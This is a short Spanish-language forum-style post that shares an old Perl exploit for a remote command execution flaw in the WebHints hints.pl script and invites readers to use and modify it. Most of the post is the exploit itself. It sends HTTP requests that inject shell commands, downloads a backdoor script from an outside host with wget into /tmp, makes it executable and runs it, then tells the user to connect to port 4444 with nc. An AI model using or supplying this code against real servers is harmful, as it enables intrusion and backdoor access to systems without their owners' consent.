Exploit en Perl desde la consola GNU / linux

Y si algunos me preguntan como se ejecuta, recuerdo buenos momentos con Phantom cuando casi todo era prueba y error ... en fin aca les dejo uno viejito  que encontre por ahi... el cual pueden utilizar y modificar a gusto con fines educativos solamente ok? cualquier duda consulten para eso estamos:


# This exploit uses a backdoor that isn't located on this server.
# $cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";
# change for your own needs. /str0ke

#!/usr/bin/perl
######################################################################################
# T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m #
######################################################################################
# EXPLOIT FOR: WebHints Remote C0mmand Execution Vuln #
# #
#Expl0it By: A l p h a _ P r o g r a m m e r (Sirus-v) #
#This Xpl Run a backdo0r in Server With 4444 Port. #
#Advisory: http://www.securityfocus.com/archive/1/401940/30/0/threaded #
######################################################################################

# #
######################################################################################

use IO::Socket;

if (@ARGV < 2)
{
print "\n==============================================\n";
print " \n WebHints Exploit By Alpha_Programmer \n\n";
print " Trap-Set Underground Hacking Team \n\n";
print " Usage:

\n\n";
print "==============================================\n\n";
print "Examples:\n\n";
print " Webhints.pl www.Host.com /cgi-bin/ \n";
exit();
}


$serv = $ARGV[0];
$serv =~ s/http:\/\///ge;

$dir = $ARGV[1];

$cmde = "cd /tmp;wget http://www.hdlsec.com/NeT/alpha.txt";
$cmde2 = "cd /tmp;cp alpha.txt alpha.pl;chmod 777 alpha.pl;perl alpha.pl";

$req = "GET $dir";
$req .= "hints.pl?|$cmde| HTTP/1.0\n\n\n\n";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";

print $sock $req;
print "\nPlease Wait ...\n\n";
sleep(3000);
close($sock);

$sock2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";


$req2 = "GET $dir";
$req2 .= "hints.pl?|$cmde2| HTTP/1.0\n\n\n\n";

print $sock2 $req2;

sleep(100);

print "\n\n$$$ OK -- Now Try: Nc -v www.hdlsec.com 4444 $$$\n";
print "$$ if This Port was Close , This mean is That , You Haven't Permission to Write in /TMP $$\n";
print "Enjoy ;)";
### EOF ###

# Salutte Net